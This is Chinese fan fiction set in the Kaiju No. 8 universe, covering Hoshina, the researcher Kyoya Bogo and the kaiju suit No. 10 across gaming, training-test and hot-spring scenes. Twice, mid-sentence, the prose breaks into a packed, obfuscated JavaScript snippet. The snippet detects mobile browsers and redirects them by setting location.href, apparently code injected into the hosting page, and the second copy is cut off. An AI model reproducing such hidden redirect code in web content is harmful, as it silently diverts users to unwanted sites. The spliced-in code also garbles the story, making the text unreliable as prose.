保科微微一怔,一时不知该如何回应这个突如其来的评价。 看着他明显困惑的表情,绪方队长慢悠悠地开口:"你刚入队时,来第四部队参加过选拔,还记得吗?" 保科点头。那段记忆并不算愉快——他的家传刀术在这里被评价为"不合时宜的古典优雅"。 "你离开时,"队长继续说,"当时还是三级调查员的暮戈首席正好在我办公室。她看到了整个过程。" 保科:“?” ...... 与此同时,立川基地副队长办公室。 暮戈京矢并不知道自己出现在一场跨越了时间的谈话里,她窝在保科平时午休的沙发上——这里的沙发比研究所的舒服得多,正在履行跟某个“最强”的约定。 “......蘑菇头那家伙在你手底下怎么样?” “这么关心他?” “嘁,只是想嘲笑他而已! 谁让他不来我这边!” 暮戈京矢习以为常地把联络器拿远—— 这两件事之间有什么联系吗,还有当时他拒绝你的事到底要念叨多少遍啊,你真的超在意。 “……还算听话。”嗯,没你麻烦。 “哈!我就知道,不过他活该!”鸣海弦幸灾乐祸的说,“快点上线,我拿到那个团本的密钥了。” 暮戈端起手柄,看着游戏地图加载的蓝条,觉得不愧是鸣海弦,看人的眼光都跟她如此相似——虽然他肯定不会承认就是了。而她对于保科宗四郎的“欣赏”甚至比鸣海要更早。 六年前。 第四部队队长的办公室,空气沉闷。年少的保科宗四郎站得笔直,听着对面以严谨著称的长官,为他的防卫队生涯判下死刑。 “……你的家族刀术很出色,保科。但现代讨伐战争,需要的不仅仅是古典的优雅。”队长将他的评估报告轻轻推回到桌面上,“第四部队的风格,恐怕不适合你。” 保科感到一种熟悉的挫败感——类似的否定他已经听了不止一次。他喉咙发紧,不知道该说些什么。但被赞扬了——即使是伴随着拒绝的赞扬——总要做出些回应。他深吸一口气,压下所有情绪,努力让声音听起来平稳。 他想了想,然后说了两个字: “谢谢。” 这种时候说谢谢,有些可笑,有些可爱,有很多可敬。 绪方队长似乎也愣了一下,随即摆了摆手。 办公室另一侧,靠墙的巨大书架后,暮戈京矢从厚重的皮质沙发上站起身。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774903|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才一直在这里小憩,等待与队长进行工作交接。 她手里拿着自己的文件,绀青色的目光平静地掠过保科离开的背影,然后落在第四部队队长身上。 “刚才那个人,”她的声音还不完全是“暮戈首席”的淡漠,“我很欣赏。” 绪方队长正准备处理下一项事务,闻言有些意外地抬头:“哦?暮戈调查员认识他?” “不认识。”她回答得干脆利落,彼时还算整齐的黑发划过一个弧度,眼下的小痣若隐若现,“只是觉得,能在这种情境下,用这个词来维持尊严和风度……” 她顿了顿,似乎在选择一个最精准的词语,最终只是重复了那个结论: “……很不错。” 说完,她便不再纠缠于这个无关紧要的话题,将手中的文件递了过去:“队长,这是您要的‘长矛’系统实测数据。” 命运的齿轮,在无人察觉的角落,随着这句轻描淡写的“欣赏”和“很不错”,发出了微不可闻的“咔哒”一声。 ...... 第四部队的走廊里,绪方队长对现在已经成为防卫队顶梁柱之一的保科,复述着那句他记忆犹新的话:"在你离开后,她对我说:''刚才那个人,我很欣赏。能在那种情境下维持这样的风度...很不错。''" 保科彻底怔在原地。他从未想过,自己人生早期那个灰暗的时刻,不仅被那双绀青色的眼睛尽收眼底,还换来了这样一句...他从未预料过的评价。 "她那时甚至还不认识你。"绪方队长的声音带着深意,"但有些人,天生就能识别出同类。" 他拍了拍保科的肩膀:"好好珍惜这份''不一样''的方法吧,保科,或许那才是通往未来的钥匙。" ...... 暮戈京矢正精准地用一个麻痹瓶控制住怪物,麦里传来鸣海弦气急败坏的声音:“输出!输出啊京矢!这玩意儿皮太厚了!” “我在控制仇恨值。”她冷静地回避了龙车,“是你装备太差。” “放屁!老子这把刀可是……” 鸣海的话被敲门声打断。暮戈听见他那边传来不耐烦的“进来”,然后是四之宫奇可露清亮又带着无奈的声音: “师傅,你要的体能报告我放桌上了。” “放着就行!”鸣海显然正打到关键处,“等等奇可露!你来的正好,快过来帮我打个输出!这女人划水!” 游戏画面里,鸣海弦的角色突然开始绕着怪物乱跑。 “我不要。”奇可露干脆地拒绝,“我从来不打游戏,而且这看起来好蠢。” “少废话!这可是团队副本!……绿眼睛姐姐也在这边!” 话音刚落,奇可露的声音瞬间变了:“……暮戈首席也在?” 一直沉默操作的暮戈轻轻“嗯”了一声。 下一秒,奇可露像是换了个人:“手柄给我。哪个键是攻击?” “这就对了嘛!X键普通攻击,B键特殊技……喂别乱按啊!” 于是战局变成了这样: “奇可露!你往哪儿砍呢!那是队友!” “少啰嗦!这个按钮按起来很顺手!” “那是扔闪光弹的键!我的眼睛!!” 场面一度更加混乱,奇可露虽然斗志昂扬,但完全是个新手,操作磕磕绊绊,却总是不自觉地操控角色围着暮戈的猎人打转。 “首席!这个发光的要捡吗?” “不用,那是鸣海布置的陷阱。” “首席!它冲过来了!” “向左翻滚两圈。” 她始终紧紧跟在暮戈的角色身边,像个笨拙的小护卫。 “笨蛋!你这时候应该去破翼!”鸣海在那边指挥。 “别管我!我在保护暮戈首席!” “她需要你保护?!你挡着她输出了!” 暮戈不得不分心指挥:“奇可露,去三点钟方向……对,就这样。” 保科宗四郎就是在这时推开暮戈办公室的门。 他刚从第四部队回来,带着满脑子市川莱诺惨烈的训练画面和队长那些意味深长的话。此刻却看见暮戈窝在他办公室的沙发上专注地打着游戏,手机免提里传来鸣海弦崩溃的咆哮: "你们两个能不能看看输出位!要乱仇恨了!" 还有一个他熟悉的,属于奇可露的,异常亢奋的声音: “闪开闪开!让我来!……啊啊啊它怎么打我了!首席救命!” 暮戈嘴角带着堪称柔和的弧度,手下操作不停:“向右侧移两步,喝药。”她没穿任何制服,只是简单的短袖短裤,凌乱参差的短发一侧被电子笔固定,另一侧垂在肩头,正在随着按动手柄的动作微微晃动。 保科站在门口,一时有些恍惚,这画面太超现实了。 暮戈头也不抬:“保科,过来。” 保科还沉浸在第四部队的沉重氛围里,下意识接过她抛来的备用手柄:“我很久没玩了……” “随便打打。”暮戈简短地说,“输出不够。” “等等!”电话那头传来鸣海的惨叫,“不要蘑菇头!我拒绝跟这个游戏bug组队!” 暮戈完全无视了他的抗议,对保科简单说明:“Y键切换武器,R键闪避。” 说着,她曲起腿往旁边挪了挪,给保科在沙发上让出一个位置。 保科微笑一下:“好吧……我试试。”他挨着暮戈坐下。 他确实不经常打游戏,但奇怪的是,任何游戏到他手里都会变得异常简单,某种天赋让他对任何需要操作和策略的东西都能迅速上手。几分钟后—— “等等,刚才那个连招是怎么回事?”鸣海的声音从质疑变成震惊,“蘑菇头你开挂了吧?” 奇可露在一旁兴奋地解说:“副队长好厉害!比师傅强多了!” “闭嘴笨蛋徒弟!” 暮戈看着屏幕上保科行云流水的操作,眼底也有些惊讶:“保科牵制左翼,鸣海右翼输出,奇可露负责道具支援。” 在保科加入后,原本卡住的进度迅速推进。四人居然在吵吵嚷嚷中打出了意想不到的配合: 鸣海虽然嘴上抱怨,却总能及时补上保科创造出的破绽; 奇可露笨拙但认真地执行着暮戈的每一个指令; 而暮戈的控场与保科的灵性发挥形成了完美的互补。 当最终BOSS倒下时,电话那头传来鸣海复杂的哼声:“……算你厉害,蘑菇头。” 奇可露则欢呼起来:“我们赢了!暮戈首席看到吗?我最后那个回复笛时机完美!” 暮戈看着屏幕上跳出的胜利字样,收起手柄:“比你师傅强多了,下次我们不带他。” “好呀好呀!” “喂!!京矢!” 保科忍不住笑出声来。他看着眼前的情景——还在斗嘴的鸣海和奇可露,引起混乱但已经置身事外的暮戈,感觉自己从第四部队带回来的那些沉重情绪,正在被这种喧闹的温暖一点点融化。 实验室的冰冷数据、第四部队训练场里刺骨的疼痛、以及那份必须变强的沉重压力,在此刻,并没有消失,它们依然蛰伏在意识的角落,如同窗外永不散去的怪兽阴云。 但在这一刻,那些宏大的、沉重的东西,似乎都被眼前这荒诞又温馨的画面冲淡了。 ——“守护”、“责任”、“代价”是多么抽象的词语啊,可是这个下午,这些具体而微的、并肩的嘈杂,并不抽象。 26.失控协奏与战书 立川基地,G303高级试验场。 暗红色的身影在障碍区间以惊人的速度穿梭,双刀划出冷冽的弧光,将模拟标靶逐一精准击破。保科宗四郎的每一个动作都高效而迅猛,战斗服包裹下的身躯展现出远超常人的力量与协调性。 监控屏幕上,数据流稳定跳动。 【基础解放战力:37%】 【神经同步率:25%】 【能量传导效率:89%】 刚刚加入观测组的小此木目光一会落在场地中那个肉眼几乎看不清的身影上,一会落在最新稳定下来的数据上,眼睛亮晶晶的——短短三天,从初次适配到37%的解放战力,这已经是大部分普通队员经过漫长的训练所能达到的顶点,而对于保科副队长来说,似乎只是自然而然的攀升,而十号战斗服的性能,仅仅37%的程度就已经达到了普通战斗服全解放70%的理论数值。 “停。”暮戈京矢的声音通过内置频道响起。她让小此木接手总控台,自己则向场地中走去。 保科的动作瞬间收势,稳稳停在场地中央,平复着有些急促的呼吸。他能感觉到力量的显著增长,然而,最近的瓶颈也隐隐横亘在前——40%的重要关卡,暂时遇到了阻力。最大的可能是,他与十号那狂野的意识在战斗意图与本能上,存在着不小的分歧。 这时,他看见暮戈京矢拿着数据板,穿过自动开启的隔离门,正朝他走来。 这是自适配测试开始以来,她第一次在训练进行中,直接踏入试验场,靠近穿着完整十号战斗服的他。 保科心中下意识地一紧。按照以往的经验,十号此刻早该在他脑子里(或者通过外放喇叭)开始嚷嚷充满敌意的话了,比如“这女人又来指手画脚!”或者“保科,快让她离远点!”。 然而,此刻,胸口的“眼睛”一片沉寂。 十号异常的安静。 暮戈径直走到他面前,似乎正要开口与他说些什么。 就在她抬起眼帘,目光与他交汇的刹那—— 保科垂落的手臂一动,暗红色装甲裹挟着他的手猛的袭向暮戈京矢! “?!”事发突然,保科措不及防,想夺回身体控制权已经来不及了,拳风已经近在咫尺! 暮戈京矢极快侧身,险伶伶避过一击,顺势一个上步,不退反进,矮身切入保科中门空挡,双手已搭上他右肩胛,一拉一带——无事发生,指腹传来的并非人体筋络的弹韧,而是冰冷装甲的绝对硬度,她立马反应过来,手指翻飞按下战斗服上几处关窍,装甲缝隙——腋下、肩胛、颈侧。 “咔!咔!咔!” 保科只觉上半身骤然一僵,所有动力关节被瞬间锁死,平衡丧失,被她前冲的余势一带,“砰”地一声,两人倒在地上。 暮戈京矢的单膝已抵在他胸腹之间,从暴起发难到彻底制服,不过三次心跳的时间。 “……” 在场所有人都被这场变故惊呆了,监测台上乱成一团,医护人员全副武装就要往场地里冲。 “等等!”暮戈京矢一抬手,人们下意识停下脚步。 她先向总控室示意没事,接着目光落在压制在身下的人,准确的来说,是他战斗服胸口的“眼睛”上。 “哇哦,”她敲敲眼睛周围的护甲,“看我不爽?” 十号的声音从那响起:“哼!又是你!可恶的女人!” “喂!十号你发什么疯!”保科心有余悸,差一点!在他视角里,那一拳几乎已经打到暮戈了,没人比他更清楚十号性能的暴力和破坏性,要是挨上一下,人类的躯体根本没法承受,“你想被报废吗?” “保科!我们来跟这个女人干架吧!”十号在他胸口大声嗡嗡。 “哈?为什么?谁管你啊!”保科气结。 十号:“我讨厌她!” “谢谢”,暮戈京矢从容道:“我知道你只喜欢保科。” 保科:“?”,他真是没空陪这俩人,不,一人一怪兽闹了,要不是他上半身被战斗服锁死,连手指都不能动的话,他现在就要把十号打包打包塞入回收站。 “偷袭难道就是你的战斗风格吗?”暮戈京矢没有看他,淡淡对十号说:“想与我打架,或者说想杀死我,我随时奉陪。” 保科:“……”,他快要窒息了。 “不过,”绀青色双眸直勾勾和怪兽的钴蓝色眼睛对视:“前提是你作为战斗服与保科并肩作战,起码——解放战力达到80%吧。” 她居高临下垂眼:“目前记录来看,37%?就这点本事,在你配和我战斗之前,可别因为不听指挥被报废了啊。” 暮戈京矢直起身,微笑着张开双臂,这是任何生物都能直观接收到的挑衅——来啊,冲这攻击啊。 “我等着你,十号。”,她的双眼熠熠生辉。 保科感受到胸口的位置热了起来,那是十号昂扬的战意,作为同步者,他不可抑制地受到了影响,一股陌生的、灼热的兴奋感顺着神经连接逆流而上,与他自己的后怕和担忧粗暴地混合在一起,让他心跳失序,好像真的接下来自她的战书一般。 “解放战力43%!精神同步率达到38%!” 总控室内,小此木惊呼,没想到这番变故后数值竟然提高了!一举突破了40%的大关! “哈哈哈哈哈!我一定会把你碾碎!” 十号咆哮着发出恐怖的应战宣言,粗犷的声音回荡在试验场,但那灼热的战意与胸口的震颤,都随着暮戈京矢的起身而骤然失去了焦点。 她示意总控切断战斗服机能,在保科胸甲某处轻轻一按。 “咔哒”一声轻响,保科只觉得身上一松,战斗服的锁定解除了。他撑着地面坐起身,活动了一下有些僵硬的肩膀,看着正低头整理袖口的暮戈,心情复杂。 “你……”他语气里带着无奈的后怕:“没事吧?刚才也太乱来了。” 暮戈京矢抬起眼,表情已经恢复了平时的样子,仿佛刚才那个主动挑衅、张扬尖锐的人只是幻觉。 “这话该我问你,”她语气里听不出多少担心,反倒有点揶揄,“被自己的战斗服锁死在地的滋味如何?” 保科干脆盘腿坐在地上,仰头看着她,叹了口气:“体验感极差,谢谢。”他目光扫过她耳边那缕被拳风削断的头发,“不过,下次别这么干了,吓出心脏病你赔?” “我赔。”她伸手把保科拉起来:“我要是退后了,你猜事故的风险评估报告会怎么写?” 这时,医护人员和研究员们才敢围拢上来,七嘴八舌地询问着情况。 “保科副队长!您没事吧?” “暮戈首席,刚才真是太惊险了!” 暮戈京矢对着人群随意摆摆手,算是回应,表示这只是合理风险范围内的意外,完全在她控制内,不要把这事捅到总部给她添绊子,几个相关负责人面面相觑,为难地看向保科副队长,却得到笑眯眯的回复:“没错,一点小小的容错而已,我不希望这件事传出这个试验场。” 两大顶头上司加当事人都这么发话了,他们只能答应下来。 “后续的体能和精神同步率监测就交给你们了。”暮戈京矢对赶过来的小此木交代了一句,然后转向保科,用只有两人能听清的音量说道: “看来,你和你的‘搭档’,还需要更多的‘磨合’,我倒是有个想法。” 她的嘴角勾起了一个戏谑的弧度,不等保科追问,便转身穿过人群,径直走向了总控室。 保科看着她的背影,下意识地摸了摸刚才被她指尖按压过的胸口装甲。那里,似乎还残留着一丝来自她指尖的、微凉的触感,与十号尚未平息的、灼热的愤怒交织在一起,冰火两重天。 他无奈地叹了口气,对着胸口低声道: “喂,十号,我们得好好谈谈了。” 接下来的一整天,保科都没再见过暮戈京矢,此人好像又不知道钻到哪个犄角旮旯的实验室里了,他独自跟十号进行了长达十分钟的“辩论”,终于勉强把“人类跟咱们是一伙的,不能随意攻击友方”这个概念跟它掰扯明白,虽然被十号自动转换为“大多数人类都很弱小,没有战斗的必要且会带来麻烦。” 但总之是勉强答应下来不再随意对防卫队员出手,保科刚松了一口气:“...像今天对暮戈动手这种事,绝对不能出现第二次。” 十号一听到这个名字,光芒刚刚收敛的钴蓝眼睛再次明亮起来:“这是两码事!保科!她向我们发出了挑战!我们必须应战!” 谁跟你“我们”啊,到底是谁先一声不吭动手的?而且为什么他也要应战? “80%是吧?我们直接冲到100%给她看看,然后正面撕碎她——” 保科“啪”地与战斗服断开最后的链接,这是他最想与十号切割的一次。 第二天清晨,保科在单人训练室刚结束刀术练习,走到长椅旁喝水,似有所感回头,正好看到暮戈推开门进来。 “早啊,暮戈,怎么今天来这里找我?”说实话不太常见,一般有正事她会通过专线直接叫他过去。 暮戈京矢步伐比平日稍微快一点,眼下的本来淡下去一点的青色再次浓重了起来,眼神却清亮得很,甚至带着一点不易察觉的......亢奋? 保科没来得及解读明白,暮戈已经绕到他身后,目光落在他后颈与衣领交界处的皮肤上。 保科刚想转头问她怎么了,却忽然感到后颈一凉——暮戈一只手干脆利落地捏住他作战服的衣领,向下微微一拉,露出了整个后颈的肌肤。 她的动作太快太自然,带着研究员摆弄器械般的理所当然,保科甚至没来得及产生“被冒犯”的念头,只是下意识地绷紧了肩背的肌肉。 “别动。”暮戈的声音贴得很近,平静无波。 下一秒,保科感到一个冰凉、轻薄、约拇指指甲盖大小的金属片,被稳稳地贴在了他颈椎最上方的凹陷处。那东西一接触皮肤,便传来轻微的吸附感,仿佛自行融入了体温,存在感鲜明却不难受。 “这是什么?”保科下意识想伸手去摸,被暮戈一巴掌拍开。 “十号意识的便携式承载单元,”暮戈用指尖在金属片边缘轻轻按压了一下,确保贴合牢固,然后松开了他的衣领,退后半步,“通过你的生物电自充电,理论上,除非你生命体征停止,否则它不会‘断电’。” 她双手插回白大褂口袋,语气是她惯常的平稳,但语速比平时稍快了半分,“解决了高活性意识体在非战斗服状态下的信号衰减和稳定性问题。现在,你可以通过这个节点,在非武装状态下与它进行低功耗的意识连接,无需完全着装。” 保科立刻明白了这东西的意义——这等于让他能随时随地与十号进行“预习”和“复习”,方便日常磨合,大幅提升协同效率。 就在这时,他脑子里那个熟悉的、带着砂石摩擦感的声音响了起来,充满了得到新玩具的兴奋: 【喂喂?保科!这样也能说话?这女人总算干了件人事!】 保科在心里无奈地翻了个白眼,并无师自通学会了暂时屏蔽——就像拉黑他大哥的联系方式一样顺手。 “联络是单向的,主导权在你手里,不过我的意识会作为保险监测存在这个频道。”暮戈对他的快速学会运用新装备表示满意,“除非你的生命体征或精神波动突破安全阈值,或者你们主动与我对话,否则我不会接收你们的具体交流内容。” 她顿了顿,补充了最关键的一句: “频道的大部分时间是你们的私人空间。我尊重你的作战隐私。” 保科有些惊讶,一方面是出于这种意识层面的交流竟然能加入第三个人,另一方面是她对他个人隐私的慎重和过于正式的态度让他感到新奇。他下意识想开玩笑,比如“首席你这是给我上了个电子项圈吗?”,或者抱怨一句“它这下岂不是能在我脑子里24小时吵吵了?”。 但他话未出口,就敏锐地察觉到了她不同寻常的地方——她那双向来沉静如古井的绀青色眼眸里,此刻却像投入了细小的光粒,跃动着一种难以言喻的亮彩;她插在口袋里的手,指尖正无意识地、轻轻点着大腿外侧。 这是……? 保科瞬间把到了嘴边的调侃咽了回去。他熟悉这种状态,这是她在突破某个技术难关后,那种纯粹属于研究者的、不掺杂任何杂质的喜悦。她的嘴角甚至没有上扬,可保科就是能捕捉到那眉宇间一抹经过掩饰、却依旧泄露出来的自傲,像是一个刚解出难题的孩子,在等待一句认可。 “明白,”他笑着点头,目光依旧停留在她带着些许光亮的脸庞上,顺着她此刻的情绪,又多夸了一句:“不过,能想到这种方法,还能把它做得这么……不起眼,真的很厉害。不愧是首席。” 暮戈京矢扬了杨眉梢,一点没谦虚地认下了这份夸奖:“当然,所以好好运用。” 保科却点了点自己眼下:“不过,又是发声器又是‘便携单元’,我猜,你起码两个晚上没休息了?” 暮戈下意识摸上自己眼下那片青色,嘴角轻轻提了下,最终在他面前放弃了掩饰,轻快地笑了出来:“连续高强度工作也是研发必备的能力......今天上午,你办公室沙发的使用权归我了。” 保科为她推开训练室门,笑着回答:“好呀,保证提供最好睡眠环境。” 带着两天没合眼的疲惫和那一点亢奋过后的满足感,暮戈京矢这一觉睡得极沉,直到生物钟告诉她基础休息已经足够。 她睁开眼,绀青色的瞳孔过了几秒才聚焦。发现自己身上盖着保科平时放在沙发上的薄毯,而保科本人正坐在办公桌后,处理着最后一叠文件。 见她醒来,保科放下笔,关掉电脑屏幕:“不多睡会?”他看了眼时间,“你才睡了五个小时。” 暮戈摇摇头:“睡够了。”她伸手徒劳地想捋顺参差的发丝。 “那......去吃午饭?”保科的声音放得很轻,“这个时间正好。” 等他们面对面坐到食堂里,保科已经把十号交流频道打开了,一路上前半程在拉扯“为什么屏蔽它”的合理性以及何为个人隐私,后半程压制了十号对路边售货机的破坏欲,保科副队长已经能做到一边在心里对怪兽进行思想教育,一边面不改色地向每个向他问好的队员报以微笑,某种意义上来说这真是极大的进步。 十号还在他脑内喋喋不休:【呸!这什么人类食物,软绵绵的!我要吃高能量反应物!像上次打碎的那种核心!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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暮戈京矢的身材并非女性常见的柔美曲线,更近似于少年般的平板与轻巧。她的骨架带着一种横平竖直的利落感,肩线平直,锁骨清晰,像精心雕琢的模型。然而,正是这具缺乏柔软线条的身体,却布满了令人心惊的痕迹。 除了训练和讨伐怪兽留下的普通磕碰与划伤,几处更为狰狞的旧伤异常醒目:一道清晰的贯穿伤疤痕烙在她左侧肩胛下方,边缘规整得可怕;右侧肋下有一处扭曲的愈合痕迹,像是某种□□的破片所致;手臂和腰侧还有一些细小但位置刁钻的痕迹,绝非与庞大怪兽搏斗所能留下。 这些伤痕,带着一种冰冷的、属于另一个战场的质感——那是枪械、□□,是属于人类与人类之间、更为精密也更为残酷的厮杀所留下的印记。 亚白米娜不知何时已睁开了眼睛,她的目光平静地扫过那些伤痕,眼眸里没有惊讶,只有一丝了然。她比其他人更清楚,防卫队的履历绝不可能造就这样的伤。 这时,几位之前在庆功宴上跟暮戈接触过的队员小心翼翼围了过来,那名被她整理过领章的活泼女队员离她最近。 “首席,第一次见你来汤泉欸。” “受到联络员组长的邀请,盛情难却。”暮戈京矢对她们笑了笑,热气浸润上她的侧脸,把平日稍显凌厉的线条柔和了几分。 这句调侃显然冲淡了女孩们的生疏感,她们佩服地点点头,对小此木的“强大”有了新的认知,远处几位队员也凑了过来,你一言我一语地聊开了。暮戈京矢偶尔回复两句,氛围倒也融洽,在话题从不知不觉跳到了恋爱八卦的间隙,亚白米娜转过脸问她:“今天怎么有空过来?” 暮戈京矢想到下午小此木从观测室热情邀请她时,就在她刚产生动摇之际,某位副队长凑过来笑眯眯地列举了十几条泡温泉对高强度工作后缓解疲劳的作用,就差把“快答应吧”四个字怼她脸上了,暮戈京矢难得陷入了疑惑——跟怪兽吵架难道对口才提升这么显著吗?前后夹击之下,她忘了自己是怎么答应下来的,总之回过神来人已经小此木被拉到汤泉门口了。 她自觉好笑地摇了摇头,对亚白米娜回道:“实在是...败给你家联络组长和副队长了。” 亚白米娜一听就知道大概怎么个事了,也轻轻勾了勾嘴角:“嗯,原来如此。” 两位平日没什么机会交流的女性此时并肩泡在温泉里,并未就具体事务进行交谈,只是偶尔就水温的舒适度、或是立川基地与总部环境的些微差异,交换一两句简短的感想。暮戈京矢的言辞一如亚白印象里的那样进退得当,有很高的技巧性和礼仪性,只要她想,跟她聊天想必都会是令人舒适的,可惜这人大部分时间都是“不想”的。 另一边,恋爱八卦环节仍然在进行中,对于这些年轻的女孩来说,与同伴们聊点少女心事,再讨论几句队里那几对暧昧的进程,一直是很有吸引力的话题。 “......所以说,通信部的那位真的给你发信息了?”一个队员压低声音,带着兴奋。 “只是问训练手册的事啦!”另一个脸颊泛红,不知是泡的还是羞的。 “少来了!他肯定是......” “...像暮戈首席这么优秀的人,以前一定有很多人追求吧?”小此木眨着眼睛,问出了所有人都好奇的问题。 暮戈正将温水撩过肩头,水流滑过那些深浅不一的伤痕。她闻言轻笑一声,仿佛听到了一个无伤大雅但略显无聊的问题。 “麻烦确实不少。”她懒洋洋地纠正了措辞,绀青色的眼睛在氤氲水汽中显得有些朦胧,“总有人把学术性的欣赏,误解成其他信号。” “那……您到底喜欢什么样的类型呢?”一个年轻队员鼓起勇气追问,眼睛亮晶晶的。 “我啊,”暮戈京矢微微偏头,拖长了玩味的语调,给出了相当清晰直白的标准:“我喜欢长得好的,”她列出第一条,“看着顺眼是基本。” “实力要强,”她继续道,视线若有似无地扫过一旁闭目养神、但实力有目共睹的亚白米娜,“起码不能比我差太多吧。” “最重要的是——”她微微后靠,露出线条清晰的锁骨和其上方一道细小的疤痕: “——要听话的,我讨厌无谓的争执和麻烦,不需要太多自作主张的意见。” 她说完,便重新合上眼,仿佛刚才只是公布了一份采购清单,而不是在讨论“喜欢”这种情感。 汤泉里一片寂静。 小此木和其他队员都愣住了。这个答案太过直白,带着一种近乎傲慢的筛选意味,充满了绝对的掌控欲,瞬间让所有浪漫幻想都烟消云散。 而且这三个条件听起来简单,实则苛刻到了极点——要容貌出众,要性情顺从,还要有能与这位身经百战的首席比肩的实力?这哪里是“喜欢”,分明是居高临下的“占有”。 小此木张了张嘴,一时不知该怎么接话。倒是旁边一个性格爽朗的队员噗嗤笑出声:“哇,这个标准听起来……好难啊!” 暮戈挑了挑眉,不置可否,那神情仿佛在说“难不难与我何干”。 亚白米娜依旧闭着眼,仿佛置身事外,但嘴角却几不可查地动了一下,心里默默为某人点了根蜡。 嗯,有点意思。 27.实战测试?是一场灾难 “铮——”,一声尖锐到极致,几乎不能被人耳接收到的刀鸣,空旷的场地中央,一支巨大的合金标靶轰然倒塌,十字切口平滑无比。 【保科流刀伐术二式 交叉斩】 而发出这一击的人,站在标靶五十米开外,整齐的深紫发梢被气流微微扬起,露出光洁的额头,和那跟往日招牌微笑略有不同、更加锐气张扬的笑容。 【基础解放战力:67%】 深红的十号识别武器贴合着他的身躯,胸口钴蓝色的“眼睛”闪烁着光亮:“刚才那一下真不错!是你跟我战斗时用的那种无形的斩击!而且范围和破坏力更大了!” 十号一如既往地吵嚷着。 保科连一个眼神都欠奉:“是是是,别解说了行吗...首席,刚刚这下怎么样?” 暮戈京矢的声音从耳麦里传来,由于距离和那一刀残留的狂暴能量有些失真:“可以,达到理论最佳数值。” 保科现在身处的这个训练场是立川基地最大的一处户外演习场改造而成的,观测室远在100米开外的加固玻璃之后,随着这两天内他的解放战力直线上升,暮戈京矢严格执行了防卫队讨伐对策十大原则中“大怪兽方圆100米内列为禁区,解放战力60%以下禁止入内。”的方针。 “我不想观测数据时还要穿着战斗服,”她当时嫌弃地说,“而且其他人可是文职人员。” 对此保科表示完全理解,这也代表着他跟十号的战力来到了一个新的水平线,他超出常规的视力隔着老远精准对上了暮戈的视线:“嗯...感觉不错,现在的数值达到了我穿普通战斗服的全解放水平也说不定呢。” 暮戈还没出声,一旁的小此木先抢着开口:“副队长!预测显示,标准制式战斗服全解放水平已经达到了95%!”,她声音里是纯粹的为保科欣喜,以及与有荣焉,毕竟到了他这个水平,解放战力每一个百分点的进步,都是巨大的战力突破。 保科愣了一下:“啊...原来还有这方面的记录吗,有进步是很好啦,不过我应该是很少有机会再去穿制式战斗服?” 统一制式战斗服虽然更有普适性,更温和,但对于他来说,“温和”什么的已经是完全抛掷之脑后的衡量标准了,最重要的是,制式战斗服全解放90%以上对人体负荷很大,且有10分钟的时间限制,一旦超出驱动极限,就会强制解除全解放。 相对比来说,十号战斗服67%的解放战力就已经能媲美曾经的“全解放”,甚至还有很大的上升空间,而且...... 保科动了动持刀的右手手腕——他已经维持了一个小时的着装状态,解放战力稳定,完全没有所谓“超限”的征兆。 这意味着长线讨伐战中,他的续航能力将来到一个恐怖的水平,全解放也不再是紧要关头才能动用的底牌,他甚至可以..... 保科脑子里瞬间划过了四五个危险的战术,每一个都是他早就跃跃欲试,只是出于风险过高,以及亚白队长和小此木的联手镇压才遗憾作罢的“小巧思”。 更激进的选位、更大胆的角度、更高效的击杀...... 保科面上端的是一派风平浪静——他可不能让小此木看出端倪,否则爱操心的联络组长非得在他耳边循环播放一周的“防卫队讨伐安全守则”不可。 “没错!除了我,保科不需要其他弱小的搭档!”十号得意洋洋地接话,那条修长的尾巴甩过一个圆弧,被保科抬手一把抓住:“你又懂什么是搭档了?” 装配了那个“便携单元”之后,应该说效果还是十分显著的,起码他现在已经完全适应了与十号意识和语言双线交流,但问题就是...... 【喂!那个女人!什么时候跟我打一架!】 十号自从知道它可以在意识频道单方面主动对暮戈喊话后,每天都会来这么几下,敌意倒是不太明显了,更多的是乐此不疲的“招惹”,而暮戈京矢根本懒得搭理它,从来没在意识频道冒过泡,保科都快忘记她也在这个频道里。 【咳,暮戈?你在吗?】保科试探着在意识里问。 下一秒,远处玻璃后那道视线再次锁到了他的身上:【有什么问题是不能通过耳麦交流的吗?】 她的声音如同冰珠落下,直接回荡在意识层面,跟现实里听到是完全不同的质感。 保科:“......” 十号:“......” 原来你在啊! 十号猛地缩回它和保科的“私人空间”,把暮戈冰冷的意识隔绝在外,【保科,】它突然神秘兮兮地说,【等会儿测试完,我们偷偷去把那个女人的咖啡换成辣椒水怎么样?】 【绝对不行!!!】 下午是指导各小队进行进行协同训练的例行工作,当一切告一段落,天色已经暗了下来,演练场内的队员们勾肩搭背往外走,谈论着晚饭吃什么之类的闲话,保科瞥了眼终端上训练室的预约状态——全满,就连那个最偏僻、设备老旧的第三备用场都没空着。 “大家最近都这么努力吗?”他收起终端,小声嘀咕了一句,心里却挺欣慰。既然没地方加练,他想起还有几份常规轮值报告需要签字,便转道走向副队长办公室。 然而当他推开办公室的门,习惯性地看向那张堆叠文件的桌子时,却发现上面异常整洁。只有桌角压着一张便签,是小此木工整的字迹: “副队长:今日协同训练后的总结报告与下周排班草案已由第一、第三小队队长联合整理完毕,并发送至您终端,无需额外纸质文件。另,后勤部关于新季度装备损耗的统计已直接对接财务科。您可以休息了。 ^_^” 保科拿起便签,看着那个画得有点歪的笑脸,自己也忍不住笑了起来。“真是的……”他摇摇头,把便签小心地夹进抽屉里。 他在安静的办公室里站了片刻,一个念头自然而然地冒了出来。 ——去骚扰一下那个肯定还没休息的首席,成功概率……嗯,根据历史数据,大概有四成。值得一试。 